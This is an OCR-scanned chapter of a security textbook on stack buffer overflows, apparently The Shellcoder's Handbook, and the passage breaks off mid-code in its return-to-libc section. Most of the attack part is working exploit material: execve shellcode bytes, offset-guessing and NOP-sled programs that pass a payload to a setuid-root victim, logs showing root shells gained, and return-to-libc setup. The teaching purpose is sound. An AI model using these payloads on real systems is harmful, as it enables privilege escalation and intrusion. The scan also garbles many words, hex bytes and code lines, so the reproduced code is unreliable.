
 

CHAPTER 
2 

Stack Overflows 

Stack-based buffer overflows have historically been one of the most popular and 
best understood methods of exploiting software. Tens, if not hundreds, of papers 
have been written on stack overflow techniques on all manner of popular 
architectures. One of the most frequently referred to, and likely the first public 
discourse on stack overflows, is Aleph One's "Smashing the Stack for Fun and 
Profit." Written in 1996, the paper explained for the first time in a clear and 
concise manner how buffer overflow vulnerabilities are possible and how they 
can be exploited. We recommend that you read the original paper, published in 
Phrack magazine and available at www.wiley.com/compbools/koziol . 

Aleph One did not invent the stack overflow; knowledge and exploitation of 
stack overflows had been passed around for a decade or longer before "Smashing 
the Stack" was released. Stack overflows have theoretically been around for as 
long as the C language, and exploitation of these vulnerabilities has occurred 
regularly for well over 25 years. Even though they are likely the best understood 
and most publicly documented class of vulnerability, stack overflow 
vulnerabilities remain generally prevalent in software produced today. Check 
your favorite security news list; it’s likely that a stack overflow vulnerability is 
being reported even as you read this chapter. 
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12 Chapter 2 
 

Buffers 
 

A buffer is defined as a limited, contiguously allocated set of memory. 
The most common buffer in C is an array. We will focus on arrays in the 
introductory material in this chapter. 

Stack overflows are possible because no inherent bounds-checking exists 
on buffers in the C or C++ languages. In other words, the C language 
and its derivatives do not have a built-in function to ensure that data 
being copied into a buffer will not be larger than the buffer can hold. 

Consequently, if the person designing the program has not explicitly 
coded the program to check for oversized input, it is possible for data to 
fill a buffer, and if that data is large enough, to continue to write past the 
end of the buffer. As you will see in this chapter, all sorts of crazy things 
start happening once you write past the end of a buffer. Take a look at 
this extremely simple example that illustrates how C has no 
bounds-checking on buffers. (Remember, you can find this and many 
other code fragments and programs on the Shellcoder's Handbook Web 
site, www.wiley.com/ compbooks/koziol.) 

int main () 
int array[5] = (1, 2, 3, 4, 5); 

printf["%d\n", array[5])  

} 

 
In this example, we have created an array in C. The array, named ar ray,  

is five elements long. We have made a novice C programmer mistake 
here, in that we forgot that an array of size five begins with element zero 
a r ray  [ 0 ] and ends with element four, ar ray [ 4 ] . We tried to read what 
we thought was the fifth element of the array, but we were really reading 
beyond the array, into the "sixth" element. The compiler elicits no errors, 
but when we run this code, we get unexpected results. 

[root@localhost /]# gcc buffer.c  

[root@localhost /l# ./a.out 
-1073743044 
[root@localhost /]# 

 
This example shows how easy it is to read past the end of a buffer; C 

provides no built-in protection. What about writing past the end of a buffer? 
This must be possible as well. Let's intentionally try to write way past the 
buffer and see what happens. 
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int main(){ 
 int array[5]; 
 int i; 
  
 for (i=0; i<=255; ++i){ 
  array[i] = 10; 
 } 
} 

 
Again, our compiler gives us no warnings or errors. But, when we execute 

this program, it crashes. 

[root@localhost /]# gcc buffer2.c  
[root@localhost /]# ./a.out 
Segmentation fault  (core dumped)  
[root@localhost /]# 

As you might already know from experience, when a programmer creates a 
buffer that has the potential to be overflowed and then compiles the code, the 
program usually crashes or does not function as expected. The programmer 
then goes back through the code, discovers where he or she made a mistake, 
and fixes the bug. 

But wait—what if user input is copied into a buffer? Or, what if a program 
expects input from another program that can be emulated by a person, such as 
a TCP/IP network-aware client? 

If the programmer designs code that copies user input into a buffer, it may 
be possible for a user to intentionally place more input into a buffer than it can 
hold. This can have a number of different consequences, everything from 
crashing the program to forcing the program to execute user-supplied instruc-
tions. These are the situations we are chiefly concerned with, but before we get 
to control of execution, we first need to look at how overflowing a buffer stored 
on the stack works from a memory management perspective. 

 
The Stack 
 

As discussed in Chapter1, the stack is a LIFO data structure. Much like a stack of 
plates in a cafeteria, the last element placed on the stack is the first element that must 
be removed. The boundary of the stack is defined by the extended stack pointer (ESP) 
register, which points to the top of the stack. Stack-specific instructions, PUSH and 
POP, use ESP to know where the stack is in memory. In 
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most architectures, especially IA32, on which this chapter is focused, ESP 
points to the last address used by the stack. In other implementations, it 
points to the first free address. 

Data is placed onto the stack using the PUSH instruction; it is removed 
from the stack using the POP instruction. These instructions are highly 
optimized and efficient at moving data onto and off of the stack. Let's 
execute two PUSH instructions and see now the stack changes. 

PUSH 1 
PUSH ADDR VAR 

 
These two instructions will first place the value 1 on the stack, then place 

the address of variable VAR on top of it. The stack will look like that 
shown in Figure 2.1. 

The ESP register will point to the top of the stack, address 643410h. 
Values are pushed onto the stack in the order of execution, so we have 
the value 1 pushed on first, and then the address of variable VAR. When a 
PUSH instruction is executed, ESP is decremented by four, and the dword 
is written to the new address stored in the ESP register. 

Once we have put something on the stack, inevitably, we will want to 
retrieve it—this is done with the POP instruction. Using the same example, 
let's retrieve our data and address from the stack. 

POP EAX  

POP EBX 
 

First, we load the value at the top of the stack (where ESP is pointing) into 
EAX. Next, we repeat the POP instruction, but copy the data into EBX. The 
stack now looks like that shown in Figure 2.2. 

As you may have already guessed, the POP instruction only moves ESP 
down address space—it does not write or erase data from the stack. 
Rather, POP writes data to the operand, in this case first writing the 
address of variable VAR to EAX and then writing the value 1 to EBX. 
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Another relevant register to the stack is EBP. The EBP register is usually 

used to calculate an address relative to another address, sometimes 
called a frame pointer. Although it can be used as a general-purpose 
register, EBP has historically been used for working with the stack. For 
example, the following instruction makes use of EBP as an index: 

MOV EAX, [EBP+10h] 

This instruction will move a dword from 16 bytes down the stack (remem-
ber, the stack grows downward) into EAX. 

Functions and the Stack 
The stacks primary purpose is to make the use of functions more efficient. 
From a low-level perspective, a function alters the flow of control of a 
pro-gram, so that an instruction or group of instructions can be executed 
independently from the rest of the program. More important, when a 
function has completed executing its instructions, it returns control to the 
original function caller. This concept of functions is most efficiently 
implemented with the use of the stack. 

Let's take a look at a simple C function and how the stack is used by the 
function. 

 
void function( int a, int b){ 
 int array[5]; 
}  
 
main()  
{ 

function(1,2) 
printf("This is where the return address points"); 

  } 
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In this example, instructions in main are executed until a function call 
is encountered. The consecutive execution of the program now needs to 
be interrupted, and the instructions in function need to be executed. The 
first step is to push the arguments for funct ion, a and b, backwards onto 
the stack. When the arguments are placed onto the stack, the function is 
called, placing the return address, or RET, onto the stack. RET is the 
address stored in the instruction pointer (EIP) at the time function is 
called. RET is the location at which to continue execution when the 
function has completed, so the rest of the program can execute. In this 
example, the address of the p r i n t  f (" This i s  where the re tu rn  
address po in t s  ") ; instruction will be pushed onto the stack. 

Before any funct ion instructions can be executed, the prolog is 
executed. In essence, the prolog stores some values onto the stack so 
that the function can execute cleanly. The current value of EBP is pushed 
onto the stack, because the value of EBP must be changed in order to 
reference values on the stack. When the function has completed, we will 
need this stored value of EBP in order to calculate address locations in 
main. Once EBP is stored on the stack, we are free to copy the current 
stack pointer (ESP) into EBP. Now we can easily reference addresses 
local to the stack. 

The last thing the prolog does is to calculate the address space required 
for the variables local to funct ion and reserve this space on the stack. 
Subtracting the size of the variables from ESP reserves the required 
space. Finally, the variables local to funct ion,  in this case simply array,  
are pushed onto the stack. Figure 2.3 represents how the stack looks at 
this point. 
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Now you should have a good understanding of how a function works 
with the stack. Let's get a little more in-depth and look at what is going 
on from an assembly perspective. Compile our simple C function with the 
following 
command: 

[root@localhost /]# gcc -mpreferred-stack-boundary=2 -ggdb function.c  
-o function 

Make sure you use the -ggdb switch since we want to compile gdb 
output for debugging purposes. gdb is the GNU project debugger; you 
can read more about it at www . gnu . org/manual/gdb-4.17 /gdb.html. We also 
want to use the preferred stack boundary switch, which will set up our 
stack into dword size increments. Otherwise, gcc will optimize the stack 
and make things more difficult than they need to be at this point. Load 
your results into gdb. 
 
[root@localhost /]# gdb function 
GNU gdb 5.2.1 
Copyright 2002 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, and you are welcome to 
change it and/or distribute copies of it under certain conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was 
configured as "i386-redhat-linux"... 
(gdb) 

First, look at how our function, f u n c t i o n ,  is called. Disassemble main: 
(gdb) disas main 
Dump of assembler code `-Y function main: 
0x8048438 <main>: push %ebp 
0x8048439 <main+1>: move %esp,%ebp 
0x804843b <main+3>: sub $0x8,%esp 
0x804843e <main+6>: sub $0x8,%esp 
0x8048441 <main+9>: push $0x2 
0x8048443 <main+11>: push $0x1 
0x8048445 <main+13>: call 0x8048430 <function> 
0x804844a <main+18>: add $0x10,%esp 
0x804844d <main+21>: leave 
0x804844e <main+22>:  ret 
End of assembler dump. 

At <main+9> and <main+ 11>, we see that the values of our two parame-
ters (0x1 and 0x2) are pushed backwards onto the stack. At 
<main+13>, we see the call instruction, which, although it is not 
expressly shown, pushes RET (EIP) onto the stack. Call then transfers flow 
of execution to function, at address 0x8048430.  Now, disassemble 
function and see what happens when control is transferred there. 
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(gdb) disas main 
Dump of assembler code for function function: 
0x8048430 <function>: push %ebp 
0x8048431 <function>: move %esp, %ebp 
0x8048433 <function+1>: sub $0x8, %esp 
0x8048436 <function+6>: leave 
0x8048437 <function+9>: ret 
End of assembler dump. 

 
Since our function does nothing but set up a local variable, array, the 

disassembly output is relatively simple. Essentially, all we have is the function 
prolog, and the function returning control to main. The prolog first stores the 
current frame pointer, EBP, onto the stack. It then copies the current stack 
pointer into EBP at <function+1>. Finally, the prolog creates enough space on 
the stack for our local variable, array, at<function+3>.array is only 5 bytes in 
size, but the stack must allocate memory in 4-byte chunks, so we end up 
reserving 8 bytes of stack space for our locals. 

 
Overflowing Buffers on the Stack 
 
You should now have a solid understanding of what happens when a function 

is called and how it interacts with the stack. In this section, we are going to see 
what happens when we stuff too much data into a buffer. Once you have 
developed an understanding of what happens when a buffer is overflowed, we 
can move into more exciting material, namely exploiting a buffer overflow and 
taking control of execution. 

Let’s create a simple function that reads user input into a buffer, and then 
outputs the user input to stdout. 

 
void return_input (void){ 
 char array[30]; 
 
 gets (array); 
 printf(%s\n”, array); 
} 
 
main() { 
 return_input(); 
 
 return 0; 
 
} 
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This function allows the user to put as many elements into a r ra y  as 
the user wants. Compile this program, again using the preferred stack 
boundary switch. Run the program, and then enter some user input to 
be fed into the buffer. For the first run, simply enter ten A characters. 

[ root@localhost / ]#  . / over f l ow  
AAAAAAAAAA 
AAAAAAAAAA 

 
Our simple function returns what was entered, and everything works 

fine. Now, let's put in 40 As, which will overflow the buffer and start to 
write over other things stored on the stack. 
 

[root@localhost /]# ./overflow 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
Segmentation f a u l t  (core  dumped)  
[ roo t@loca lhos t  /]# 

We got a segfault as expected, but why? What happened on the stack? 
Take a look at Figure 2.4, which shows how our stack looks after a r ra y  is 
overflowed. 

 

team 509's presents



20 Chapter 2 
 

We fil led up array with 32 bytes of A, and then kept on going. We 
wrote the stored address of EBP, which is now a dword containing 
hexadecimal representation of A. more important,  we wrote over RET 
with another dword of A. When the function exited, i t  read the value 
stored in RET, which is now 0x41414141, the hexadecimal equivalent of 
AAAA, and attempted to jump to this address. This address is not a valid 
address, or is in protected address space, and the program terminated 
with a segmentation fault .  But don’t take our word for i t ;  you should 
look at the core file to see what was in the registers at the time of 
segfault .  

[ roo t@loca lhos t  / ]#  gdb  over f low core  
… 
(gdb)  in fo  reg i s te rs  
… 
eax  0x29  
ecx  0x1000  
edx  0x0  
ebx  0x401509e4  
esp  0xbf f f fab8  
ebp  0x41414141  
es i  0x40016b64  
ed i  0xbff f fb2c  
e ip  0x41414141  
… 

The output has been edited somewhat to conserve space, but you should see something 
similar. EPB and EIP are both 0x41414141! That means we sup cessfully wrote our As 
out of the buffer and over EBP and RET. 

Controlling EIP 
We have now successfully overflowed a buffer, overwritten EBP and RET, and therefore 
caused our overflowed value to be loaded into EIP. All that has done is crash the program. 
While this overflow can be useful in creating a denial of service, the program that you're 
going to crash should be important enough that someone would care if it were not available. 
In our case, it's not. So, let's move on to controlling the path of execution, or basically, 
controlling what gets loaded into EIP, the instruction pointer. 

In this section, we will take the previous overflow example and instead of filling the buffer 
with As, we will fill it with the address of our choosing. The address will be written in the buffer 
and will overwrite EBP and RET with our new value. When RET is read off the stack and 
placed into EIP, the instruction at the address will be executed. This is how we will control 
execution. 

First, we need to decide what address to use. Let's have the program call return Input 
instead of returning control to main. We need to determine to what address to jump, so we  
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will  have to go back to gdb and find out what address calls return_input.  
 
[ roo t@loca lhos t  / ]#  gdb  over f low 
… 
(gdb)  d i sas  ma in  
Dump  of  assemble r  code  fo r  func t ion  main :  
0x80484b8  <main>:   push  %ebp  
0x80484b9  <main+1>:  mov  %esp ,  %ebp  
0x80484bb  <main+3>:  ca l l  0x8048490  <re tu rn_ inpu t>  
0x80484c0  <main+8>:  mov  $0x0 ,  %eax  
0x80484c5  <main+13>:      pop  %ebp  
0x80484c6  <main+22>:        r e t  
End  o f  a ssemble r  dump.  
 
We see that the address we wat to use is 0x80484bb. 
 
NOTE Don’t expect to have exactly the same address-make sure you 
check that you have found the correct address for return_input.  
 

Since 0x80484bb does not translate cleanly into normal ASCII characters, 
we need to write a simple program to turn this address into character input. 
We can then take the output of this program and stuff it into the buffer in 
over f low. In order to write this program, you need to determine the size of your 
buffer and add 8 to it. Remember, the extra 8 bytes are for writing over EBP 
and RET. Check the prolog of return_input using gdb; you will learn how much 
space is reserved on the stack for array. In our case, we have the instruction: 

0x8048493 <return_input+3>: sub $0x20,%esp 
 

The 0x2 0 hex value equates to 32 in binary, plus 8 gives us 40. Now we 
can write our address-to-character program. 

main()( 
int i=0; 
char stuffing[44]; 

for (i=0;i<=40;i+=4) 
*(long *) &stuffing[i] = 0x80484bb; 
puts(stuffing); 
} 
Let's dump the output of address_to_char into overflow. The program should 

wait for user input, as before. The program then spits out what was entered, 
which should be the output of address_to_char plus whatever you typed as 
user input. Now that we have overwritten RET, the program will 
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execute Ox80484bb,which has been written into EIP. It will "loop," and wait for user 
input again. 
 
[root@localhost /]#  ( ./address_to_char;cat) | ./overflow 
input 
«««««««««««««« a u< ___,input 
input 
input 
 

Congratulations, you have successfully exploited your first vulnerability! 

Using an Exploit to Get Root Privileges               
 

Now it is time to do something useful with the vulnerability you have just exploited. 
Forcing overflow.c to ask for input twice instead of once is a neat trick, but hardly 
something you would want to tell your friends about—"Hey, guess what, I caused a 
15-line C program to ask for input twice!" No, we want you to be cooler than that. 

This type of overflow is commonly used to gain root (uid 0) privileges. We can do this by 
attacking a process that is running as root. You force it to execve a shell that inherits its 
permissions. If the process is running as root, you will have a root shell. This type of local 
overflow is increasingly popular because more and more programs do not run as 
root—after they are exploited, you often must use a local exploit to get root-level access. 

Spawning a root shell is not the only thing we can do when exploiting a vulnerable 
program. Many subsequent chapters in this book cover exploitation methods other than 
root shell spawning. Suffice it to say, a root shell is still one of the most common 
exploitations and the easiest to understand. 

Be careful, though. The code to spawn a root shell makes use of the execve system call. 
What follows is a C++ language code for spawning a shell: 

int main()( 
char *name[2]; 

name[0] = "/bin/sh"; 
name[1] = OxO; 
execve(name[0], name. 0x0); 
exit(0); 

) 

If we compile this code and run it, we can see that it will spawn a shell for us. 

[Jack@0day local]$ gcc shell.c -o shell 
[Jack@0day local]$ ./shell  

Sh-2.05b# 

 

team 509's presents



Stack Overflows 23 

You might be thinking, this is great, but how do I inject C source code into a 
vulnerable input area? Can we just type it in like we did previously with the A 
characters? The answer is no. Injecting C source code is much more difficult 
than that. We will have to inject actual machine instructions, or opcode, into the 
vulnerable input area. To do so, we must convert our shell-spawning code to 
assembly, and then extract the opcodes from our human-readable assembly. 
We will then have what is termed shellcode, or the opcode that can be injected 
into a vulnerable input area and executed. This is a long and involved process, 
and we have dedicated several chapters in this book to it. 

We won't go into great detail about how the shellcode is created from the C++ 
code; it is quite an involved process and explained completely in Chapter 3. 

Let's take a look at the shellcode representation of the shell-spawning C++ 
code we previously ran. 

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" 

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\xO8\x8d\x56\xOc\xcd\x80\xe8\xel" 

"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”; 

 
 

Let's test it to make sure it does the same thing as the C code. Compile the 
following code, which should allow us to execute the shellcode: 

char shellcode[] = 
"\xeb\xla\x5e\x31\xcO\x88\x46\xO7\x8d\x1e\x89\x5e\x08\x89\x46” 

"\xOc\xbO\xOb\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1” 

"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”; 

 

int main() 

{ 

 

 int *ret; 

ret = (int *)&ret + 2; 

(*ret) = (int)shellcode; 

} 

Now run the program. 
 

[jack@0day local]$ gcc shellcode.c -o shellcode 

[jack@0day local]$ ./shellcode  

sh-2.05b# 

Ok, great, we have the shell-spawning shellcode that we can inject into a 
vulnerable buffer. That was the easy part. In order for our shellcode to be exe-
cuted, we must gain control of execution. We will use a strategy similar to that 
in the previous example, where we forced an application to ask for input a 
second time. We will overwrite RET with the address of our choosing, 
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causing the address we supplied to be loaded into EIP and subsequently 
executed. What address will we use to overwrite RET? Well,we will overwrite 
it with the address of the first instrution in our injected shellcode. In this 
way,when RET is popped off the stack and loaded into EIP,the first instruction 
that is executed is the first instruction of our shellcode. 

While this whole process may seem simple, it is actually quite difficult to 
execute in real life. This is the place in which most people learning to hack for 
the first time get furstrated and give up. We will go over some of the major 
problems and hopefully keep you from getting frustrated along the way. 

The Address Pr o b l e m  
One of the most difficult tasks you face when trying to execute user-supplied 

shellcode is identifying the starting address of your shellcode. Over the years, 
many different methods have been contrived to solve this problem. We will 
cover the most popular method that was pioneered in the paper, "Smashing the 
Stack." 

One way to discover the address of our shellcode is to guess where the 
shellcode is in memory. We can make a pretty educated guess, because we know 
that for every program, the stack begins with the same address. If we know what 
this address is, we can attempt to guess how far from this starting address our 
shellcode is. 

It is fairly easy to write a simple program to tell us the location of the stack 
pointer (ESP). Once we know the address of ESP, we simply need to guess the 
distance, or offset, from this address. The offset will be the first instruction in 
our shellcode. 
First, we find the address of ESP. 
Unsigned long find_start(void){ 
   __asm__(“movl %esp, %eax”); 
} 
int main(){ 

printf ("OX%x\n" , find_start()) ; 

} 

Now we create a little program to exploit. 
 

int main(int argc,char **argv[]){  

char little_array[512]; 

if (argc > 1) 
strcpy(little_array,argv[1] ); 

} 
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This simple program takes command-line input and puts it into an 
array with no bounds-checking. In order to get root privileges, we must 
set this program to be owned by roo t ,  and turn the suid bit on. Now, 
when you log in as a regular user (not r oo t )  and exploit the program, 
you should end up with root access. 

[jack@0day local]$ sudo chown root v ic t im 

[jack@0day local]$ sudo chmod +s vic tim 

Nov,  we'll construct a program that allows us to guess the offset 
between the start of our program and the first instruction in our 
shellcode. (The idea for this example has been borrowed from Lamagra.) 

#include <stdlib.h> 
#define offset_size 0 
#define buffer_size 512 
 
char sc[] = 

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46" 

"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel" 
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 
 
 
unsigned long find_start(void){  
__asm__("movl %esp,%eax");  

} 

int main(int argc, char *argv[]) 
{ 

char *buff, *ptr; 
long *addr_ptr, addr; 
int offset=offset_size, bsize=buffer_size;  
int i; 
 
if (argc > 1) bsize  =atoi(argv[1]); 
if (argc > 2) offset =atoi(argv[2]); 

 
   addr = find_start() – offset; 
   printf("Attempting address:0x%x\n", addr); 
 

ptr = buff; 
addr_ptr = (long *) ptr; 
for (i = 0; i < bsize; i+=4)  

*(addr_ptr++) = addr; 
 
ptr += 4; 
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   for (i = 0;i< strlen(sc);i++) 

        *(ptr++) = sc[i]; 

  buff(bsize-1) = ‘\0’; 

 

memcpy(buff,”BUF=”,4); 

putenv(buff); 

system(“/bin/bash”); 

}     

To exploit the program, generate the shellcode with return address, and then run 
the vulnerable program using the output of the shellcode generating program. 
Assuming we don’t cheat, we have no way of knowing the correct offset, so we must 
guess repeatedly until we get the spawned shell. 

[jack@0day loca l ]$  ./attack 500 
Using address: Oxbfffd768 
[jack@0day local ]$ ./victim $BUF 

Ok, nothing happened. That's because we didn't build an offset large enough 
(remember, our array is 512 bytes). 

[jack@0day local ]$  ./attack 800 
Using address: Oxbfffe7c8 
[jack@0day loca l ]$  ./vict im $BUF 
Segmentation faul t   

What happened here? We went too far, and we generated an 
offset that was too large. 
 
[jack@0day local]$ ./attack 550 
Using address: 0xbffff188 
[jack@0day loca l ]$  ./v ic t im $BUF 
Segmentation fau l t  
[ jack@0day l o ca l ]$  ./attack 575  
Using address: 0xbfffe798 
 
[jack@0day l oca l ]$  ./v ict im $BUF  
Segmentation fau l t  
[jack@0day loca l ]$  ./attack 590  
Using address: 0xbf fe908  
 
[jack@0day loca l ]$  ./v ict im $BUF  
I l l e g a l  instruction 

 

It looks like attempting to guess the correct offset could take forever. 
Maybe we’ll be lucky with this attempt: 

[jack@0day loca l ]$  ./attack 595 
Using address: 0xbf fe971  
[jack@0day loca l ]$  ./v ict im $BUFteam 509's presents
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Illegal instruction 
[jack@Oday local)$ ./attack 598 
Using address: Oxbfffe9ea 
[jack@0day local]$ ./victim $BUF 
Illegal instruction 
[jack@0day local]$ ./exploitl 600 
Using address: Oxbfffea04 
[jack@0day local)$ ./hole $BUF 
sh-2.05b# id 
uid=0(root) gid=0(root) groups=0(root),10(wheel) 
sh-2.05b# 

Wow, we guessed the correct offset and the root shell spawned. Actually it 
took us many more tries than we've shown here (we cheated a little bit, to be 
honest), but they have been edited out to save space. 

WARNING We ran this code on a Red Hat 9.0 box. Your results may be 
different depending on the distribution, version, and many other factors. 

Exploiting programs in this manner can be tedious. We must continue to guess 
what the offset is, and sometimes, when we guess incorrectly, the pro-gram crashes. 
That's not a problem for a small program like this, but restarting a larger application can 
take time and effort. In the next section, we'll examine a better way of using offsets. 

The NOP Method 
Determining the correct offset manually can be difficult. What if it were possible to 

have more than one target offset? What if we could design our shellcode so that many 
different offsets would allow us to gain control of execution? This would surely make 
the process less time consuming and more efficient, wouldn't it? 

We can use a technique called the NOP Method to increase the number of potential 
offsets. No Operations (NOPs) are instructions that delay execution for a period of time. 
NOPs are chiefly used for timing situations in assembly, or in our case, to create a 
relatively large section of instructions that does nothing. For our purposes, we will fill 
the beginning of our shellcode with NOPs. If our offset "lands" anywhere in this NOP 
section, our shell-spawning shellcode will eventually be executed after the processor 
has executed all of the do-nothing NOP instructions. Nov, our offset only has to point 
some-where in this large field of NOPs, meaning we don't have to guess the exact offset. 
This process is referred to as padding with NOPs, or creating a NOP pad. You will hear 
these terms again and again when delving deeper into hacking. 

Let's rewrite our attacking program to generate the famous NOP pad prior to 
appending our shellcode and the offset. The instruction that signifies a NOP 
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on IA32 chipsets is 0x90.(There are many other instructions and combinations of 
instructions that can be used to create a similar NOP effect ,but we won’t get into these 
in this chapeter.) 

#include<stdlib.h> 

#define DEFAULT_OFFSET                      0 

#define DEFAULT_BUFFER_SIZE             512 

#define NOP                                   0x90 

char shellcode[]= 

     “\xeb\xla\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46” 

     “\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1” 

     “\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”; 

 

unsigned long get_sp(void) { 

    __asm__(“mov1 %esp,%eax”); 

} 

 

void main(int argc,char *argv[]) 

{ 

char *buff,*ptr; 

long *addr_ptr,addr; 

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 

int i; 

i f  (argc > 1) bsize = atoi (argv[1] ) ;  

 i f  (argc > 2) offset = atoi (argv[2]);  
 

i f  ( ! (buff = malloc(bsize)) )  {  
 printf("Can't allocate memory.\n");  
exit(0); 

    }  
    addr = get_sp() - offset; 

printf("Using address: Ox%x\n", addr); 
ptr = buff; 
addr_ptr = ( long *) ptr; 
for ( i  = 0; i  < bsize; i+=4)  

* (addr_ptr++) = addr; 
for ( i  = 0; i  < bsize/2; i++)  

buff[ i ]  = NOP; 
ptr = buff + ( (bsize/2) – (strlen(shellcode)/2)); 
for ( i  = 0; i  < strlen(shellcode); i++)  

*(ptr++) = shellcode[i] ;  
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buff[bsize – 1] = ‘\0’; 
memcpy(buff, "BUF=",4); 
putenv(buff);  
system("/bin/bash"); 

      } 

Let's run our new program against the same target code and see 
what happens. 

[jack@0day local]$ ./nopattack 600 
Using address: Oxbfffdd68 
[jack@0day local]$ ./vict im $BUF 
sh-2.05b# id 
uid=O(root) gid=0(root) groups=0(root),10(wheel)  
sh-2.05b# 

 
Ok, we knew that offset would work. Let's try some others. 

 
[jack@0day local]$ ./nopattack 590 
Using address: Oxbffff368 
[jack@0day local]$ ./victim $BUF 
sh-2.05b# id 
uid=O(root) gid=0(root) groups=0(root),10(wheel) 
sh-2.05b# 

We landed in the NOP pad, and it worked just fine. How far can we go? 
 

[jack@Oday local]$ ./nopattack 585 
Using address: Oxbffffld8 
[jack@0day local]$ ./victim $BUF 
sh-2.05b# id 
uid=O(root) gid=0(root) groups=O(root),10(wheel) 
sh-2.05b# 

We can see with just this simple example that we have 15—25 times more 
possible targets than without the NOP pad. 

Defeating a Non-Executable Stack 
 

The previous exploit works because we can execute instructions on the stack. 
As a protection against this, many operating systems such as Solaris, OpenBSD, 
and likely Windows in the near future will not allow programs to execute code on 
the stack. This protection will break any type of exploit that relies on code to 
executed on the stack        
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As you may have already guessed, we don’t necessarily have to execute 
code on the stack .It is simply an easier ,better-known, and more reliable 
method of exploiting programs. When you do encounter a non-executable 
stack, you can use an exploitation method known as Return to libc. 
Essentially ,we will make use of the ever-popular and ever-present libc 
library to export our system calls to libc library.T his will make 
exploitation possible when the target stack is protected. 

Return to libc 
 

So, how does Return to libc actually work? From a high level, assume 
for the sake of simplicity that we already have control of EIP. We can 
put whatever address we want executed in to EIP; in short, we have 
total control of program execution via some sort of vulnerable buffer. 
Instead of returning control to instructions on the stack, as in a 
traditional stack buffer overflow exploit, we will force the program to 
return to an address that corresponds to r. specific dynamic library 
function. This dynamic library function will not be on the stack, 
meaning we can circumvent any stack execution restrictions. We will 
carefully choose which dynamic library function we return to; ideally, 
we want two conditions to be present: 

 It must be a common dynamic library, present in most programs. 
 The function within the library should allow us as much flexibility as 

possible so that we can spawn a shell or do whatever we need to do. 

The library that satisfies both of these conditions best is the libc 
library. libc is the standard C library; it contains just about every 
common C function that we take for granted. By nature, all the 
functions in the library are shared (this is the definition of a function 
library), meaning that any program that includes libc will have access 
to these functions. You can see where this is going —if any program 
can access these common functions, why couldn't one of our exploits? 
All we have to do is direct execution to the address of the library 
function we want to use (with the proper arguments to the function, of 
course), and it will be executed. 

For our Return to libc exploit, let's keep it simple at first and spawn a 
shell. The easiest libc function to use is system ( ) ; for the purposes of 
this example, all it does is take in an argument and then execute that 
argument with /bin/sh. So, we supply system( ) with /bin/sh as an 
argument, and we will get a shell. We aren't going to execute any code 
on the stack; we will jump right out to the address of system () 
function with the C library. 
A point of interest is how to get the argument to system( . Essentially, 
what we do is pass a pointer to the string (bin/sh) we want executed. We 
know that normally when a program executes a function (in this example, 
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we'll use the_function as the name), the arguments get pushed onto 
the stack in reverse order. It is what happens next that is of interest to 
us and will allow us to pass parameters to system () . 

First, a CALL the_function instruction is executed. This CALL will 
push the address of the next instruction (where we want to return to) 
onto the stack. It will also decrement ESP by 4. When we return from 
the_function, RET (or EIP) will be popped off the stack. ESP is then set 
to the address directly following RET. 

Now comes the actual return to system ( ) . the_function assumes 
that ESP is already pointing to the address that should be returned to. 
It is going to also assume that the parameters are sitting there waiting 
for it on the stack, starting with the first argument following RET. This 
is normal stack behavior. We set the return to system () and the 
argument (in our example, this will be a pointer to /bin/sh) in those 8 
bytes. When the_function returns, it will return (or jump, depending on 
how you look at the situation) into system () , and system () has our 
values waiting for it on the stack. 

Now that you understand the basics of the technique, let's take a look 
at the preparatory work we must accomplish in order to make a Return 
to libc exploit: 

1. Determine the address of system () . 
2. Determine the address of /bin/sh. 
3. Find the address of exit () , so we can close the exploited 

 program cleanly. 

The address of system() can be found within libc by simply 
disassembling any C++ program.gcc will include libc by default when 
compiling, so we can use the following simple program to find the 
address of system () . 
 
int  main()  

{  
}  

Now, let's find the address of  s y s t e m () with gdb. 

[root@0day l oca l ] #  gdb f i l e   

(gdb) break main  

Breakpoint 1 at Ox804832e 
(gdb)  run 

Start ing program: /usr/ loca l/book/ f i l e  

Breakpoint 1, Ox0804832e in main ()   
(gdb) p system 
$1 = {<text v a r i ab l e ,  no debug i n f o> )  0x4203f2c0 <system>  
(gdb) 
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   We see the address of system() is at 0x4203f2c0.Let’s also find the 
address exit(). 
[root@0day local]# gdb file 
(gdb)break main 
Breakpoint 1 at 0x804832e 
(gdb)run 
Starting program: /usr/local/book/file 

Breakpoint 1, 0x0804832e in main () 
(gdb) p exit 
#1= {<text variable, no debug info>} 0x42029bb0 <exit> 
(gdb) 

The address of exit () can be found at 0x42029bb0. Finally, to get the 
address of /bin/sh we can use the memfetch tool found at h t t p :  // 
lcamtuf. Coredump.cx/.memfetch will dump everything in memory for a 
specific process; simply look through the binary files for the address of 
/bin/sh. Alternatively, you can store the /bin/ sh in an environment vari- 
able, and then get the address of this variable. 

Finally, we can craft our exploit for the original program—a very simple, 

short, and sweet exploit. We need to 

1. Fill the vulnerable buffer up to the return address with garbage data 
2. Overwrite the return address with the address of system ( ) 
3. Follow system () with the address of e x i t  ( ) 
4. Append the address of /bin/sh 

Let's do it with the following code: 
#include <stdlib.h> 

#define offset_size                  0 

#define buffer_size                  600 

char sc[]= 

   “\xc0\xf2\x03\x42”  //system() 

   “\x02\x9b\xb2\x42” //exit() 

   “\xa0\x8a\xb2\x42” //binsh 

unsigned long fine_start(void) { 

   __asm__(“movl %esp, %eax”); 

} 
